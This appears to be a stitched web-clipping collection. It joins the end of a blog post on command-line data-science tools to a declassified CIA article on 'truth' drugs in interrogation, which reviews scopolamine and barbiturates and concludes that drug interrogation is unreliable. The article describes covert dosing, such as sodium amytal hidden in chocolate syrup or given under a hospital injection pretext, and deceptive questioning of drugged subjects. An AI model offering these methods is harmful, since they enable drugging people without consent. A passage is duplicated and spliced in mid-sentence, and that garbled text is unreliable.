If you specify the -g option, ggplot2 gets imported and a ggplot object called g with df as the data is initialized. If the final output is a ggplot object, a PNG will be written to stdout.
< iris.csv Rio -ge 'g+geom_point(aes(x=SepalLength,y=SepalWidth,colour=Name))' > iris.png

I made this tool so that I could take advantage of the power of R on the command-line. Of course it has its limits, but at least there's no need to learn gnuplot any more.
Command-line tools suggested by others
Below is an uncurated list of tools and repositories that others have suggested via twitter or Hacker News (last updated on 23-09-2013 07:15 EST). Thanks everybody.
· BigMLer by aficionado
· crush-tools by mjn
· csv2sqlite by dergachev
· csvquote by susi22
· data-tools repository by cgrubb
· feedgnuplot by dima55
· Grinder repository by @cgutteridge
· HDF5 Tools by susi22
· littler by @eddelbuettel
· mallet by gibrown
· RecordStream by revertts
· subsample by paulgb
· xls2csv by @sheeshee
· XMLStarlet by gav
Conclusion
I have shown you seven command-line tools that I use in my daily work as a data scientist. While each tool is useful in its own way, I often find myself combining them with, or just resorting to, the classics such as grep, sed, and awk. Combining such small tools into a larger pipeline is what makes them really powerful.
I'm curious to hear what you think about this list and what command-line tools you like to use. Also, if you've made any tools yourself, you're more than welcome to add them to this data science toolbox. 
Don't worry if you don't regard yourself as a toolmaker. The next time you're cooking up that exotic pipeline, consider to put it in a file, add a shebang, parametrize it with some $1s and $2s, and chmod +x it. That's all there is to it. Who knows, you might even become interested in applying the Unix philosophy.
While the power of the command-line should not be underestimated when it comes to Obtaining, Scrubbing, and Exploring data, it can only get you so far. When you're ready to do some more serious Exploring, Modelling, and iNterpretation of your data, you're probably better off continuing your work in a statistical computing environment, such as R or IPython notebook+pandas.
If you enjoyed this post, then you may be interested in my new book Data Science at the Command Line.


﻿https://www.cia.gov/library/center-for-the-study-of-intelligence/kent-csi/vol5no2/html/v05i2a09p_0001.htm 
"Truth" Drugs in Interrogation — Central Intelligence Agency
Created:
10/22/2013 10:06:35 AM
Updated:
10/22/2013 10:06:35 AM
Author:

Tags:
intelligence opinion opsec


"Truth" Drugs in Interrogation 
APPROVED FOR RELEASE
CIA HISTORICAL REVIEW PROGRAM
22 SEPT 93
Effects of narcosis and considerations relevant to its possible counterintelligence use.
"TRUTH" DRUGS IN INTERROGATION
George Bimmerle
The search for effective aids to interrogation is probably as old as man's need to obtain information from an uncooperative source and as persistent as his impatience to shortcut any tortuous path. In the annals of police investigation, physical coercion has at times been substituted for painstaking and time-consuming inquiry in the belief that direct methods produce quick results. Sir James Stephens, writing in 1883, rationalizes a grisly example of "third degree" practices by the police of India: "It is far pleasanter to sit comfortably in the shade rubbing red pepper in a poor devil's eyes than to go about in the sun hunting up evidence."
More recently, police officials in some countries have turned to drugs for assistance in extracting confessions from accused persons, drugs which are presumed to relax the individual's defenses to the point that he unknowingly reveals truths he has been trying to conceal. This investigative technique, however humanitarian as an alternative to physical torture, still raises serious questions of individual rights and liberties. In this country, where drugs have gained only marginal acceptance in police work, their use has provoked cries of "psychological third degree" and has precipitated medico-legal controversies that after a quarter of a century still occasionally flare into the open.
The use of so-called "truth" drugs in police work is similar to the accepted psychiatric practice of narco-analysis; the difference in the two procedures lies in their different objectives. The police investigator is concerned with empirical truth that may be used against the suspect, and therefore almost solely with probative truth: the usefulness of the suspect's revelations depends ultimately on their acceptance in evidence by a court of law. The psychiatrist, on the other hand, using the same "truth" drugs in diagnosis and treatment of the mentally ill, is primarily concerned with psychological truth or psychological reality rather than empirical fact. A patient's aberrations are reality for him at the time they occur, and an accurate account of these fantasies and delusions, rather than reliable recollection of past events, can be the key to recovery.
The notion of drugs capable of illuminating hidden recesses of the mind, helping to heal the mentally ill and preventing or reversing the miscarriage of justice, has provided an exceedingly durable theme for the press and popular literature. While acknowledging that "truth serum" is a misnomer twice over -- the drugs are not sera and they do not necessarily bring forth probative truth -- journalistic accounts continue to exploit the appeal of the term. The formula is to play up a few spectacular "truth" drug successes and to imply that the drugs are more maligned than need be and more widely employed in criminal investigation than can officially be admitted.
Any technique that promises an increment of success in extracting information from an uncompliant source is ipso facto of interest in intelligence operations. If the ethical considerations which in Western countries inhibit the use of narco-interrogation in police work are felt also in intelligence, the Western services must at least be prepared against its possible employment by the adversary. An understanding of "truth" drugs, their characteristic actions, and their potentialities, positive and negative, for eliciting useful information is fundamental to an adequate defense against them.
This discussion, meant to help toward such an understanding, draws primarily upon openly published materials. It has the limitations of projecting from criminal investigative practices and from the permissive atmosphere of drug psychotherapy.
Scopolamine as "Truth Serum "
Early in this century physicians began to employ scopolamine, along with morphine and chloroform, to induce a state of "twilight sleep" during childbirth. A constituent of henbane, scopolamine was known to produce sedation and drowsiness, confusion and disorientation, incoordination, and amnesia for events experienced during intoxication. Yet physicians noted that women in twilight sleep answered questions accurately and often volunteered exceedingly candid remarks.
In 1922 it occurred to Robert House, a Dallas, Texas, obstetrician, that a similar technique might be employed in the interrogation of suspected criminals, and he arranged to interview under scopolamine two prisoners in the Dallas county jail whose guilt seemed clearly confirmed. Under the drug, both men denied the charges on which they were held; and both, upon trial, were found not guilty. Enthusiastic at this success, House concluded that a patient under the influence of scopolamine "cannot create a lie ... and there is no power to think or reason."14 His experiment and this conclusion attracted wide attention, and the idea of a "truth" drug was thus launched upon the public consciousness.
The phrase "truth serum" is believed to have appeared first in a news report of House's experiment in the Los Angeles Record, sometime in 1922. House resisted the term for a while but eventually came to employ it regularly himself. He published some eleven articles on scopolamine in the years 1921-1929, with a noticeable increase in polemical zeal as time went on. What had begun as something of a scientific statement turned finally into a dedicated crusade by the "father of truth serum" on behalf of his offspring, wherein he was "grossly indulgent of its wayward behavior and stubbornly proud of its minor achievements."11
Only a handful of cases in which scopolamine was used for police interrogation came to public notice, though there is evidence suggesting that some police forces may have used it extensively. 2, 16 One police writer claims that the threat of scopolamine interrogation has been effective in extracting confessions from criminal suspects, who are told they will first be rendered unconscious by chloral hydrate placed covertly in their coffee or drinking water.16
Because of a number of undesirable side effects, scopolamine was shortly disqualified as a "truth" drug. Among the most disabling of the side effects are hallucinations, disturbed perception, somnolence, and physiological phenomena such as headache, rapid heart, and blurred vision, which distract the subject from the central purpose of the interview. Furthermore, the physical action is long, far outlasting the psychological effects. Scopolomine continues, in some cases, to make anesthesia and surgery safer by drying the mouth and throat and reducing secretions that might obstruct the air passages. But the fantastically, almost painfully, dry "desert" mouth brought on by the drug is hardly conducive to free talking, even in a tractable subject.
The Barbiturates 
The first suggestion that drugs might facilitate communication with emotionally disturbed patients came quite by accident in 1916. Arthur S. Lovenhart and his associates at the University of Wisconsin, experimenting with respiratory stimulants, were surprised when, after an injection of sodium cyanide, a catatonic patient who had long been mute and rigid suddenly relaxed, opened his eyes, and even answered a few questions. By the early 1930's a number of psychiatrists were experimenting with drugs as an adjunct to established methods of therapy.
At about this time police officials, still attracted by the possibility that drugs might help in the interrogation of suspects and witnesses, turned to a class of depressant drugs known as the barbiturates. By 1935 Clarence W. Muehlberger, head of the Michigan Crime Detection Laboratory at East Lansing, was using barbiturates on reluctant suspects, though police work continued to be hampered by the courts' rejection of drug-induced confessions except in a few carefully circumscribed instances.
The barbiturates, first synthesized in 1903, are among the oldest of modern drugs and the most versatile of all depressants. In this half-century some 2,500 have been prepared, and about two dozen of these have won an important place in medicine. An estimated three to four billion doses of barbiturates are prescribed by physicians in the United States each year, and they have come to be known by a variety of commercial names and colorful slang expressions: "goofballs," Luminal, Nembutal, "red devils," "yellow jackets," "pink ladies," etc. Three of them which are used in narcoanalysis and have seen service as "truth" drugs are sodium amytal (amobarbital), pentothal sodium (thiopental), and to a lesser extent seconal (secobarbital).
As with most drugs, little is known about the way barbiturates work or exactly how their action is related to their chemistry. But a great deal is known about the action itself. They can produce the entire range of depressant effects from mild sedation to deep anesthesia -- and death. In small doses they are sedatives acting to reduce anxiety and responsiveness to stressful situations; in these low doses, the drugs have been used in the treatment of many diseases, including peptic ulcer, high blood pressure, and various psychogenic disorders. At three to five times the sedative dose the same barbiturates are hypnotics and induce sleep or unconsciousness from which the subject can be aroused. In larger doses a barbiturate acts as an anesthetic, depressing the central nervous system as completely as a gaseous anesthetic does. In even larger doses barbiturates cause death by stopping respiration.
The barbiturates affect higher brain centers generally. The cerebral cortex -- that region of the cerebrum commonly thought to be of the most recent evolutionary development and the center of the most complex mental activities -- seems to yield first to the disturbance of nerve-tissue function brought about by the drugs. Actually, there is reason to believe that the drugs depress cell function without discrimination and that their selective action on the higher brain centers is due to the intricate functional relationship of cells in the central nervous system. Where there are chains of interdependent cells, the drugs appear to have their most pronounced effects on the most complex chains, those controlling the most "human" functions.
The lowest doses of barbiturates impair the functioning of the cerebral cortex by disabling the ascending (sensory) circuits of the nervous system. This occurs early in the sedation stage and has a calming effect not unlike a drink or two after dinner. The subject is less responsive to stimuli. At higher dosages, the cortex no longer actively integrates information, and the cerebellum, the "lesser brain" sometimes called the great modulator of nervous function, ceases to perform as a control box. It no longer compares cerebral output with input, no longer informs the cerebrum command centers of necessary corrections, and fails to generate correcting command signals itself. The subject may become hyperactive, may thrash about. At this stage consciousness is lost and coma follows. The subject no longer responds even to noxious stimuli, and cannot be roused. Finally, in the last stage, respiration ceases. 10, 28
As one pharmacologist explains it, a subject coming under the influence of a barbiturate injected intravenously goes through all the stages of progressive drunkenness, but the time scale is on the order of minutes instead of hours. Outwardly the sedation effect is dramatic, especially if the subject is a psychiatric patient in tension. His features slacken, his body relaxes. Some people are momentarily excited; a few become silly and giggly. This usually passes, and most subjects fall asleep, emerging later in disoriented semi-wakefulness.
The descent into narcosis and beyond with progressively larger doses can be divided as follows
I. Sedative Stage
II. Unconsciousness, with exaggerated reflexes (hyperactive stage).
III. Unconsciousness, without reflex even to painful stimuli.
IV. Death.
Whether all these stages can be distinguished in any given subject depends largely on the dose and the rapidity with which the drug is induced. In anesthesia, stages I and II may last only two or three seconds.
The first or sedative stage can be further divided:
Plane 1. No evident effect, or slight sedative effect.
Plane 2. Cloudiness, calmness, amnesia. (Upon recovery, the subject will not remember what happened at this or "lower" planes or stages.)
Plane 3. Slurred speech, old thought patterns disrupted, inability to integrate or learn new patterns. Poor coordination. Subject becomes unaware of painful stimuli.
Plane 3 is the psychiatric "work" stage. It may last only a few minutes, but it can be extended by further slow injection of the drug. The usual practice is to bring the subject quickly to Stage II and to conduct the interview as he passes back into the sedative stage on the way to full consciousness.
Clinical and Experimental Studies 
The general abhorrence in Western countries for the use of chemical agents "to make people do things against their will" has precluded serious systematic study (at least as published openly) of the potentialities of drugs for interrogation. Louis A. Gottschalk, surveying their use in information-seeking interviews,13 cites 136 references; but only two touch upon the extraction of intelligence information, and one of these concludes merely that Russian techniques in interrogation and indoctrination are derived from age-old police methods and do not depend on the use of drugs. On the validity of confessions obtained with drugs, Gottschalk found only three published experimental studies that he deemed worth reporting.
One of these reported experiments by D. P. Morris in which intravenous sodium amytal was helpful in detecting malingerers.22 The subjects, soldiers, were at first sullen, negativistic, and non-productive under amytal, but as the interview proceeded they revealed the fact of and causes for their malingering. Usually the interviews turned up a neurotic or psychotic basis for the deception.
The other two confession studies, being more relevant to the highly specialized, untouched area of drugs in intelligence interrogation, deserve more detailed review.
Gerson and Victoroff12 conducted amytal interviews with 17 neuropsychiatric patients, soldiers who had charges against them, at Tilton General Hospital, Fort Dix. First they were interviewed without amytal by a psychiatrist, who, neither ignoring nor stressing their situation as prisoners or suspects under scrutiny, urged each of them to discuss his social and family background, his army career, and his version of the charges pending against him.
The patients were told only a few minutes in advance that narcoanalysis would be performed. The doctor was considerate, but positive and forthright. He indicated that they had no choice but to submit to the procedure. Their attitudes varied from unquestioning compliance to downright refusal.
Each patient was brought to complete narcosis and permitted to sleep. As he became semiconscious and could be stimulated to speak, he was held in this stage with additional amytal while the questioning proceeded. He was questioned first about innocuous matters from his background that he had discussed before receiving the drug. Whenever possible, he was manipulated into bringing up himself the charges pending against him before being questioned about them. If he did this in a too fully conscious state, it proved more effective to ask him to "talk about that later" and to interpose a topic that would diminish suspicion, delaying the interrogation on his criminal activity until he was back in the proper stage of narcosis.
The procedure differed from therapeutic narcoanalysis in several ways: the setting, the type of patients, and the kind of "truth" sought. Also, the subjects were kept in twilight consciousness longer than usual. This state proved richest in yield of admissions prejudicial to the subject. In it his speech was thick, mumbling, and disconnected, but his discretion was markedly reduced. This valuable interrogation period, lasting only five to ten minutes at a time, could be reinduced by injecting more amytal and putting the patient back to sleep.
The interrogation technique varied from case to case according to background information about the patient, the seriousness of the charges, the patient's attitude under narcosis, and his rapport with the doctor. Sometimes it was useful to pretend, as the patient grew more fully conscious, that he had already confessed during the amnestic period of the interrogation, and to urge him, while his memory and sense of self-protection were still limited, to continue to elaborate the details of what he had "already described." When it was obvious that a subject was withholding the truth, his denials were quickly passed over and ignored, and the key questions would be reworded in a new approach.
Several patients revealed fantasies, fears, and delusions approaching delirium, much of which could readily be distinguished from reality. But sometimes there was no way for the examiner to distinguish truth from fantasy except by reference to other sources. One subject claimed to have a child that did not exist, another threatened to kill on sight a stepfather who had been dead a year, and yet another confessed to participating in a robbery when in fact he had only purchased goods from the participants. Testimony concerning dates and specific places was untrustworthy and often contradictory because of the patient's loss of time-sense. His veracity in citing names and events proved questionable. Because of his confusion about actual events and what he thought or feared had happened, the patient at times managed to conceal the truth unintentionally.
As the subject revived, he would become aware that he was being questioned about his secrets and, depending upon his personality, his fear of discovery, or the degree of his disillusionment with the doctor, grow negativistic, hostile, or physically aggressive. Occasionally patients had to be forcibly restrained during this period to prevent injury to themselves or others as the doctor continued to interrogate. Some patients, moved by fierce and diffuse anger, the assumption that they had already been tricked into confessing, and a still limited sense of discretion, defiantly acknowledged their guilt and challenged the observer to "do something about it." As the excitement passed, some fell back on their original stories and others verified the confessed material. During the follow-up interview nine of the 17 admitted the validity of their confessions; eight repudiated their confessions and reaffirmed their earlier accounts.
With respect to the reliability of the results of such interrogation, Gerson and Victoroff conclude that persistent, careful questioning can reduce ambiguities in drug interrogation, but cannot eliminate them altogether.
At least one experiment has shown that subjects are capable of maintaining a lie while under the influence of a barbiturate. Redlich and his associates at Yale25 administered sodium amytal to nine volunteers, students and professionals, who had previously, for purposes of the experiment, revealed shameful and guilt-producing episodes of their past and then invented false self-protective stories to cover them. In nearly every case the cover story retained some elements of the guilt inherent in the true story.
Under the influence of the drug, the subjects were cross-examined on their cover stories by a second investigator. The results, though not definitive, showed that normal individuals who had good defenses and no overt pathological traits could stick to their invented stories and refuse confession. Neurotic individuals with strong unconscious self-punitive tendencies, on the other hand, both confessed more easily and were inclined to substitute fantasy for the truth, confessing to offenses never actually committed.
In recent years drug therapy has made some use of stimulants, most notably amphetamine (Benzedrine) and its relative methamphetamine (Methedrine). These drugs, used either alone or following intravenous barbiturates, produce an outpouring of ideas, emotions, and memories which has been of help in diagnosing mental disorders. The potential of stimulants in interrogation has received little attention, unless in unpublished work. In one study of their psychiatric use Brussel et al. 7 maintain that methedrine gives the liar no time to think or to organize his deceptions. Once the drug takes hold, they say, an insurmountable urge to pour out speech traps the malingerer. Gottschalk, on the other hand, says that this claim is extravagant, asserting without elaboration that the study lacked proper controls.13 It is evident that the combined use of barbiturates and stimulants, perhaps along with ataraxics (tranquillizers), should be further explored.
Observations from Practice 
J. M. MacDonald, who as a psychiatrist for the District Courts of Denver has had extensive experience with narcoanalysis, says that drug interrogation is of doubtful value in obtaining confessions to crimes. Criminal suspects under the influence of barbiturates may deliberately withhold information, persist in giving untruthful answers, or falsely confess to crimes they did not commit. The psychopathic personality, in particular, appears to resist successfully the influence of drugs.
MacDonald tells of a criminal psychopath who, having agreed to narco-interrogation, received 1.5 grams of sodium amytal over a period of five hours. This man feigned amnesia and gave a false account of a murder. "He displayed little or no remorse as he (falsely) described the crime, including burial of the body. Indeed he was very self-possessed and he appeared almost to enjoy the examination. From time to time he would request that more amytal be injected."21
MacDonald concludes that a person who gives false information prior to receiving drugs is likely to give false information also under narcosis, that the drugs are of little value for revealing deceptions, and that they are more effective in releasing unconsciously repressed material than in evoking consciously suppressed information.
Another psychiatrist known for his work with criminals, L. Z. Freedman, gave sodium amytal to men accused of various civil and military antisocial acts. The subjects were mentally unstable, their conditions ranging from character disorders to neuroses and psychoses. The drug interviews proved psychiatrically beneficial to the patients, but Freedman found that his view of objective reality was seldom improved by their revelations. He was unable to say on the basis of the narco-interrogation whether a given act had or had not occurred. Like MacDonald, he found that psychopathic individuals can deny to the point of unconsciousness crimes that every objective sign indicates they have committed.10
F. G. Inbau, Professor of Law at Northwestern University, who has had considerable experience observing and participating in "truth" drug tests, claims that they are occasionally effective on persons who would have disclosed the truth anyway had they been properly interrogated, but that a person determined to lie will usually be able to continue the deception under drugs.
The two military psychiatrists who made the most extensive use of narcoanalysis during the war years, Roy R. Grinker and John C. Spiegel, concluded that in almost all cases they could obtain from their patients essentially the same material and give them the same emotional release by therapy without the use of drugs, provided they had sufficient time.
The essence of these comments from professionals of long experience is that drugs provide rapid access to information that is psychiatrically useful but of doubtful validity as empirical truth. The same psychological information and a less adulterated empirical truth can be obtained from fully conscious subjects through non-drug psychotherapy and skillful police interrogation.
Application to CI Interrogation 
The almost total absence of controlled experimental studies of "truth" drugs and the spotty and anecdotal nature of psychiatric and police evidence require that extrapolations to intelligence operations be made with care. Still, enough is known about the drugs' action to suggest certain considerations affecting the possibilities for their use in interrogations.
It should be clear from the foregoing that at best a drug can only serve as an aid to an interrogator who has a sure understanding of the psychology and techniques of normal interrogation. In some respects, indeed, the demands on his skill will be increased by the baffling mixture of truth and fantasy in drug-induced output. And the tendency against which he must guard in the interrogatee to give the responses that seem to be wanted without regard for facts will be heightened by drugs: the literature abounds with warnings that a subject in narcosis is extremely suggestible.
It seems possible that this suggestibility and the lowered guard of the narcotic state might be put to advantage in the case of a subject feigning ignorance of a language or some other skill that had become automatic with him. Lipton20 found sodium amytal helpful in determining whether a foreign subject was merely pretending not to understand English. By extension, one can guess that a drugged interrogatee might have difficulty maintaining the pretense that he did not comprehend the idiom of a profession he was trying to hide.
There is the further problem of hostility in the interrogator's relationship to a resistance source. The accumulated knowledge about "truth" drug reaction has come largely from patient-physician relationships of trust and confidence. The subject in narcoanalysis is usually motivated a priori to cooperate with the psychiatrist, either to obtain relief from mental suffering or to contribute to a scientific study. Even in police work, where an atmosphere of anxiety and threat may be dominant, a relationship of trust frequently asserts itself: the drug is administered by a medical man bound by a strict code of ethics; the suspect agreeing to undergo narcoanalysis in a desperate bid for corroboration of his testimony trusts both drug and psychiatrist, however apprehensively; and finally, as Freedman and MacDonald have indicated, the police psychiatrist frequently deals with a "sick" criminal, and some order of patient-physician relationship necessarily evolves.
Rarely has a drug interrogation involved "normal" individuals in a hostile or genuinely threatening milieu. It was from a non-threatening experimental setting that Eric Lindemann could say that his "normal" subjects "reported a general sense of euphoria, ease and confidence, and they exhibited a marked increase in talkativeness and communicability."19 Gerson and Victoroff list poor doctor-patient rapport as one factor interfering with the completeness and authenticity of confessions by the Fort Dix soldiers, caught as they were in a command performance and told they had no choice but to submit to narco-interrogation.
From all indications, subject-interrogator rapport is usually crucial to obtaining the psychological release which may lead to unguarded disclosures. Role-playing on the part of the interrogator might be a possible solution to the problem of establishing rapport with a drugged subject. In therapy, the British narcoanalyst William Sargant recommends that the therapist deliberately distort the facts of the patient's life-experience to achieve heightened emotional response and abreaction.27 In the drunken state of narcoanalysis patients are prone to accept the therapist's false constructions. There is reason to expect that a drugged subject would communicate freely with an interrogator playing the role of relative, colleague, physician, immediate superior, or any other person to whom his background indicated he would be responsive.
Even when rapport is poor, however, there remains one facet of drug action eminently exploitable in interrogation -- the fact that subjects emerge from narcosis feeling they have revealed a great deal, even when they have not. As Gerson and Victoroff demonstrated at Fort Dix, this psychological set provides a major opening for obtaining genuine confessions.
Technical Considerations 
It would presumably be sometimes desirable that a resistant interrogatee be given the drug without his knowledge. For narcoanalysis the only method of administration used is intravenous injection. The possibilities for covert or "silent" administration by this means would be severely limited except in a hospital setting, where any pretext for intravenous injection, from glucose feeding to anesthetic procedure, could be used to cover it. Sodium amytal can be given orally, and the taste can be hidden in chocolate syrup, for example, but there is no good information on what dosages can be masked. Moreover, although the drug might be introduced thus without detection, it would be difficult to achieve and maintain the proper dose using the oral route.
Administering a sterile injection is a procedure shortly mastered, and in fact the technical skills of intravenous injection are taught to nurses and hospital corpsmen as a matter of routine. But it should be apparent that there is more to narcotizing than the injection of the correct amount of sodium amytal or pentothal sodium. Administering drugs and knowing when a subject is "under" require clinical judgment. Knowing what to expect and how to react appropriately to the unexpected takes both technical and clinical skill. The process calls for qualified medical personnel, and sober reflection on the depths of barbituric anesthesia will confirm that it would not be enough merely to have access to a local physician.
Possible Variations 
In studies by Beecher and his associates, 3-6 one-third to one-half the individuals tested proved to be placebo reactors, subjects who respond with symptomatic relief to the administration of any syringe, pill, or capsule, regardless of what it contains. Although no studies are known to have been made of the placebo phenomenon as applied to narco-interrogation, it seems reasonable that when a subject's sense of guilt interferes with productive interrogation, a placebo for pseudo-narcosis could have the effect of absolving him of the responsibility for his acts and thus clear the way for free communication. It is notable that placebos are most likely to be effective in situations of stress. The individuals most likely to react to placebos are the more anxious, more self-centered, more dependent on outside stimulation, those who express their needs more freely socially, talkers who drain off anxiety by conversing with others. The non-reactors are those clinically intravenous injection. The possibilities for covert or "silent" administration by this means would be severely limited except in a hospital setting, where any pretext for intravenous injection, from glucose feeding to anesthetic procedure, could be used to cover it. Sodium amytal can be given orally, and the taste can be hidden in chocolate syrup, for example, but there is no good information on what dosages can be masked. Moreover, although the drug might be introduced thus without detection, it would be difficult to achieve and maintain the proper dose using the oral route.
Administering a sterile injection is a procedure shortly mastered, and in fact the technical skills of intravenous injection are taught to nurses and hospital corpsmen as a matter of routine. But it should be apparent that there is more to narcotizing than the injection of the correct amount of sodium amytal or pentothal sodium. Administering drugs and knowing when a subject is "under" require clinical judgment. Knowing what to expect and how to react appropriately to the unexpected takes both technical and clinical skill. The process calls for qualified medical personnel, and sober reflection on the depths of barbituric anesthesia will confirm that it would not be enough merely to have access to a local physician.
Possible Variations 
In studies by Beecher and his associates, 3-6 one-third to one-half the individuals tested proved to be placebo reactors, subjects who respond with symptomatic relief to the administration of any syringe, pill, or capsule, regardless of what it contains. Although no studies are known to have been made of the placebo phenomenon as applied to narco-interrogation, it seems reasonable that when a subject's sense of guilt interferes with productive interrogation, a placebo for pseudo-narcosis could have the effect of absolving him of the responsibility for his acts and thus clear the way for free communication. It is notable that placebos are most likely to be effective in situations of stress. The individuals most likely to react to placebos are the more anxious, more self-centered, more dependent on outside stimulation, those who express their needs more freely socially, talkers who drain off anxiety by conversing with others. The non-reactors are those clinically more rigid and with better than average emotional control. No sex or I.Q. differences between reactors and non-reactors have been found.
Another possibility might be the combined use of drugs with hypnotic trance and post-hypnotic suggestion: hypnosis could presumably prevent any recollection of the drug experience. Whether a subject can be brought to trance against his will or unaware, however, is a matter of some disagreement. Orne, in a survey of the potential uses of hypnosis in interrogation,23 asserts that it is doubtful, despite many apparent indications to the contrary, that trance can be induced in resistant subjects. It may be possible, he adds, to hypnotize a subject unaware, but this would require a positive relationship with the hypnotist not likely to be found in the interrogation setting.
In medical hypnosis, pentothal sodium is sometimes employed when only light trance has been induced and deeper narcosis is desired. This procedure is a possibility for interrogation, but if a satisfactory level of narcosis could be achieved through hypnotic trance there would appear to be no need for drugs.
Defensive Measures 
There is no known way of building tolerance for a "truth" drug without creating a disabling addiction, or of arresting the action of a barbiturate once induced. The only full safeguard against narco-interrogation is to prevent the administration of the drug. Short of this, the best defense is to make use of the same knowledge that suggests drugs for offensive operations: if a subject knows that on emerging from narcosis he will have an exaggerated notion of how much he has revealed he can better resolve to deny he has said anything.
The disadvantages and shortcomings of drugs in offensive operations become positive features of the defense posture. A subject in narco-interrogation is intoxicated, wavering between deep sleep and semi-wakefulness. His speech is garbled and irrational, the amount of output drastically diminished. Drugs disrupt established thought patterns, including the will to resist, but they do so indiscriminately and thus also interfere with the patterns of substantive information the interrogator seeks. Even under the conditions most favorable for the interrogator, output will be contaminated by fantasy, distortion, and untruth.
Possibly the most effective way to arm oneself against narcointerrogation would be to undergo a "dry run." A trial drug interrogation with output taped for playback would familiarize an individual with his own reactions to "truth" drugs, and this familiarity would help to reduce the effects of harassment by the interrogator before and after the drug has been administered. From the viewpoint of the intelligence service, the trial exposure of a particular operative to drugs might provide a rough benchmark for assessing the kind and amount of information he would divulge in narcosis.
There may be concern over the possibility of drug addiction intentionally or accidentally induced by an adversary service. Most drugs will cause addiction with prolonged use, and the barbiturates are no exception. In recent studies at the U.S. Public Health Service Hospital for addicts in Lexington, Ky., subjects received large doses of barbiturates over a period of months. Upon removal of the drug, they experienced acute withdrawal symptoms and behaved in every respect like chronic alcoholics.
Because their action is extremely short, however, and because there is little likelihood that they would be administered regularly over a prolonged period, barbiturate "truth" drugs present slight risk of operational addiction. If the adversary service were intent on creating addiction in order to exploit withdrawal, it would have other, more rapid means of producing states as unpleasant as withdrawal symptoms.
The hallucinatory and psychotomimetic drugs such as mescaline, marijuanas, LSD-25, and microtine are sometimes mistakenly associated with narcoanalytic interrogation. These drugs distort the perception and interpretation of the sensory input to the central nervous system and affect vision, audition, smell, the sensation of the size of body parts and their position in space, etc. Mescaline and LSD-25 have been used to create experimental "psychotic states," and in a minor way as aids in psychotherapy.

Since information obtained from a person in a psychotic drug state would be unrealistic, bizarre, and extremely difficult to assess, the self-administration of LSD-25, which is effective in minute dosages, might in special circumstances offer an operative temporary protection against interrogation. Conceivably, on the other hand, an adversary service could use such drugs to produce anxiety or terror in medically unsophisticated subjects unable to distinguish drug-induced psychosis from actual insanity. An enlightened operative could not be thus frightened, however, knowing that the effect of these hallucinogenic agents is transient in normal individuals
Most broadly, there is evidence that drugs have least effect on well-adjusted individuals with good defenses and good emotional control, and that anyone who can withstand the stress of competent interrogation in the waking state can do so in narcosis. The essential resources for resistance thus appear to lie within the individual.
Conclusions 
The salient points that emerge from this discussion are the following. No such magic brew as the popular notion of truth serum exists. The barbiturates, by disrupting defensive patterns, may sometimes be helpful in interrogation, but even under the best conditions they will elicit an output contaminated by deception, fantasy, garbled speech, etc. A major vulnerability they produce in the subject is a tendency to believe he has revealed more than he has. It is possible, however, for both normal individuals and psychopaths to resist drug interrogation; it seems likely that any individual who can withstand ordinary intensive interrogation can hold out in narcosis. The best aid to a defense against narco-interrogation is foreknowledge of the process and its limitations. There is an acute need for controlled experimental studies of drug reaction, not only to depressants but also to stimulants and to combinations of depressants, stimulants, and ataraxics.

REFERENCES
1. Adams, E. Barbiturates. Sci. Am., Jan. 1958, 198(1), 60 - 64.
2. Barkham, J. Truth Drugs: The new crime solver. Coronet, Jan. 1951, 29, 72 - 76.
3. Beecher, H. K. Anesthesia. Sci. Am., Jan. 1957, 198, p. 70.
4. Beecher, H. K. Appraisal of drugs intended to alter subjective responses, symptoms. J. Amer. Med. Assn., 1955,158.,399 - 401.
5. Beecher, H. K. Evidence for increased effectiveness of placebos with increased stress. Amer. J. Physiol., 1956, 187, 163 - 169.
6. Beecher, H. K. Experimental pharmacology and measurement of the subjective response. Science, 1953, 116, 157 - 162.
7. Brussel, J. A., Wilson, D. C., Jr., & Shankel, L. W. The use of methedrine in psychiatric practice. Psychiat. Quart., 1954, 28, 381 - 394.
8. Delay, J. Pharmacologic explorations of the personality: narcoanalysis and "methedrine" shock. Proc. Roy. Soc. Med., 1949, 42, 492 - 496.
9. DeRopp, R. S. Drugs and the Mind. New York: Grove Press, Inc., 1960.
10. Freedman, L. Z. "Truth" drugs. Sci. Am., March 1960, 145 - 154. .
11. Geis, G. In scopolamine veritas. The early history of drug-induced statements. J. of Crim. Law, Criminol. & Pol. Sci., Nov-Dec. 1959, 50(4), 347 - 356.
12. Gerson, M. J., & Victoroff, V. Experimental investigation into the validity of confessions obtained under sodium amytal narcosis. J. Clin. and Exp. Psychopath., 1948, 9, 359 - 375.
13. Gottschalk, L. A. The use of drugs in information-seeking interviews. Technical report #2, ARDC Study SR 177-D Contract AF 18(600) 1797. Dec. 1958. Bureau of Social Science Research, Inc.
14. House, R. E. The use of scopolamine in criminology. Texas St. J. of Med., 1922, 18, 259.
15. Houston, F. A preliminary investigation into abreaction comparing methedrine and sodium amytal with other methods. J. ment. Sci., 1952, 98, 707 - 710.
16. Inbau, F. G. Self-incrimination. Springfield: C. C. Thomas, 1950.
17. Kidd, W. R. Police interrogation. 1940.
18. Legal dose of truth. Newsweek, Feb. 23, 1959, 28.
19. Lindemann, E. Psychological changes in normal and abnormal individuals under the influence of sodium amytal. Amer. J. Psychiat., 1932, 11, 1083 - 1091.
20. Lipton, E. L. The amytal interview. A review. Amer. Practit. Digest Treat., 1950, 1, 148 - 163.
21. MacDonald, J. M. Narcoanalysis and criminal law. Amer. J. Psychiat., 1954, 111, 283 - 288.
22. Morris, D. P. Intravenous barbiturates: an aid in the diagnosis and treatment of conversion hysteria and malingering. Mil. Surg., 1945, 96, 509 - 513.
23. Orne, M. T. The potential uses of hypnosis in interrogation. An evaluation. ARDC Study SR 177-D Contract AF 18(600) 1797, Dec. 1958. Bureau of Social Science Research, Inc.
24. Pelikan, E. W., & Kensler, C. J. Sedatives: Their pharmacology and uses. Reprint from The Medical Clinics of North America. W. B. Saunders Company, Sept. 1958.
25. Redlich, F. C., Ravitz, L. J., & Dession, G. H. Narcoanalysis and truth. Amer. J. Psychiat., 1951, 107, 586 - 593.
26. Rolin, J. Police Drugs. Translated by L. J. Bendit. New York: Philosophical Library, 1956.
27. Sargant, W., & Slater, E. Physical methods of treatment in psychiatry. (3rd ed.) Baltimore: Williams and Wilkins, 1954.
28. Snider, R. S. Cerebellum. Sci. Am., Aug. 1958, 84.
29. Uhr, L., & Miller, L. G. (eds.). Drugs and Behavior. New York-London: John Wiley & Sons, Inc., 1960.
Top of page
 
﻿http://handlers.sans.org/dwesemann/decode/index.html 
